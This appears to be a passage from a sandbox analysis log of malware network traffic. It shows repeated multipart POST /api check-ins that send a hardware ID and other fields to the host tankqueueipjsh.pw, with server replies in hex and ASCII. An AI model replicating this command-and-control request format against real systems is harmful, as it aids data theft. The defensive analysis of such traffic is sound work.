Dec 6, 2023 14:35:12.120620966 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=pf3ofitpfhhome8eqklep07i9d; expires=Sun, 31 Mar 2024 07:21:50 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:11 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:11 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:11 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nw%2BG29pdrffHbgCxro1sNGRMkzkaom46O27RDbcS5Xo%2BWALsZlxaivzCN%2BnHs1ked0Zhozhtj6GU%2FHRGGwUtdmyzjCjuUgQKHohZcnfeSNayTTJ9t0fN7ZcQ6WBb4o2iZdCs5Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:35:12.120682955 CET	117	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 32 32 30 62 38 36 36 66 64 33 2d 49 41 44 0d 0a 0d 0a 31 30 0d 0a 6f 6b 20 31 30 32 2e 31 36 35 2e 34 38 2e 38 33 0d 0a Data Ascii: udflareCF-RAY: 8314e9220b866fd3-IAD10ok 102.165.48.83
Dec 6, 2023 14:35:12.120748043 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	50207	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:12.219468117 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:12.219721079 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:12.589037895 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=925379vbl9qh79nem09a9memk8; expires=Sun, 31 Mar 2024 07:21:51 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:12 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:12 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:12 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VC5oMUWIVB72xXeEtc6B2LASmTVhwx715sEmBvixuAUYXsrJQzQ1l3A67E3ugYZXw5h1BD%2FB2Ee9CT8i%2BszvviiEOe8VXUwXHDvYJt9143m7jNjDY%2BuW2K0zXBFEx2sY98oH3w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:35:12.589060068 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 32 35 39 62 65 63 33 38 38 30 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 8314e9259bec3880-IAD15Malformed packet data
Dec 6, 2023 14:35:12.589073896 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	50208	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:12.694678068 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:12.695347071 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:13.060388088 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=k1ivfqf67h93q7bhi98vpt9tj0; expires=Sun, 31 Mar 2024 07:21:51 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:12 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:12 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:12 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YlhsM69O1x%2BKatmtmDGREzDgWnhOeQU29oIWiOzLuGTpb7FiJ39P1JbgOqtFcEPs1rCYGbu%2BwwfBcDSto2LkT23Nzsd6yVohH4EWwxYpMaswb9ueFHo%2FLFl9dR4ZrMqQOOIZdA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:35:13.060440063 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 32 38 39 66 64 61 33 62 31 38 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 8314e9289fda3b18-IAD15Malformed packet data
Dec 6, 2023 14:35:13.060476065 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	50209	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:13.376007080 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:13.376260042 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:13.725276947 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=rjot0f7vh1q57qs72dcu01hedr; expires=Sun, 31 Mar 2024 07:21:52 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:13 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:13 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:13 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BmGzz7iko4ot%2FYA0Uc4XIlOaRDMP%2F33wWzUjVBWdh7zPHUHZaQD1RZluOzDEkcc5eTPnZDTSjRJqXa6rMuiwP0LsOEh%2Fw8zQUi9l67EYsCEEhSV1XeqSLTvX7pI8TT3iaxQ9bQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:35:13.725356102 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 32 63 64 38 35 38 36 39 66 66 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 8314e92cd85869ff-IAD15Malformed packet data
Dec 6, 2023 14:35:13.725388050 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	50210	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:13.826215982 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:13.826765060 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:14.441092968 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=lbjmr492l3hur98hdlm1br9n1q; expires=Sun, 31 Mar 2024 07:21:53 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:14 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:14 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:14 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5PX1oTOmeo%2BjQ5pWuHx01Y3jUjil0q1Wruuu6ikBSg4i9n%2BxlJpNLoYaNjQ9tGhOXoIx7empsgliROrHZ1TdmjoYzMmWVUTXQOGQIrHB3Q03Q7OIIoaz2vmTWk%2FTioILSu0dEA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:35:14.441132069 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 32 66 61 61 34 30 39 63 37 30 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 8314e92faa409c70-IAD15Malformed packet data
Dec 6, 2023 14:35:14.441215992 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50211	104.21.83.145	80	2972	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:14.547991991 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:14.548238993 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:14.825082064 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=2gnraq3oqt1e6bcm79delpu01q; expires=Sun, 31 Mar 2024 07:21:53 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:14 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:14 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:14 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uzSagh88XxEbHiC%2FFbfVy4%2BQ8IFTtbeXW9ZON1Xfo6jTZ8kp3ExUgf1sW7JCslAge1NLGtyNa%2FvFxGWtMn1cDPTww%2Brlasm3WPP4NiLFuWGRHNYzYIrRma7l6Aq2y9GVOByqVg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:35:14.825109959 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 33 34 32 65 37 66 32 30 35 38 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 8314e9342e7f2058-IAD15Malformed packet data
Dec 6, 2023 14:35:14.825126886 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	50212	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:14.932410955 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:14.932665110 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:15.295813084 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=er8lset6inuu898tglj0oq5n0q; expires=Sun, 31 Mar 2024 07:21:54 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:15 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:15 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:15 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qL8thlMhIbtpRMZm9h2O4HkXQgqUoIFZ9AwFnQwJ5cMkT1aZ6aJOgvBTbYk%2FgFt0bsDGn%2BpkPNC0TFaOPOJfeQPfnYQKx18hhn%2BdhL8GGIqzljPuXRJwVEF7GkDzllz%2FKrGx5g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:35:15.295835018 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 33 36 39 61 37 33 33 39 32 65 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 8314e9369a73392e-IAD15Malformed packet data
Dec 6, 2023 14:35:15.295850992 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	50213	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:15.402070999 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:15.402343988 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:15.767662048 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=0st8lpmgrekrr4h6oiltj7aghq; expires=Sun, 31 Mar 2024 07:21:54 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:15 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:15 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:15 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=aSBKMnKgKknXVz06gviCMDm73sI6m%2Fj3HBdtz%2Bx7eX1LsdzozK4o6K7lAGOnc3ZF5rt7R1L015CCHzb86Zd9eefsrKk2Vjsc0QHJZT3ld90IyzI8R7d6UZZAACbbi2EcVGD09A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:35:15.767693043 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 33 39 38 38 65 31 32 30 37 38 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 8314e93988e12078-IAD15Malformed packet data
Dec 6, 2023 14:35:15.767709017 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	50214	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:15.874066114 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:15.874309063 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:16.222630024 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=vgsj53l4g55b43a3ksmoprkb7g; expires=Sun, 31 Mar 2024 07:21:55 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:16 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:16 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:16 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gROv3Syu0NjIaHh%2F4GbMDoipzJBfL6ZjXIEGBs5T3LhyCZ8lrFfrx9nIVEig%2Fhn6eT5sdi%2Fr1v6XjsITld3%2Fk3Apm11B%2FjVA3WYWNmlprlH8p85VBDh1OUzvDHtZpJVnzfdDAQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: Data Raw: Data Ascii:
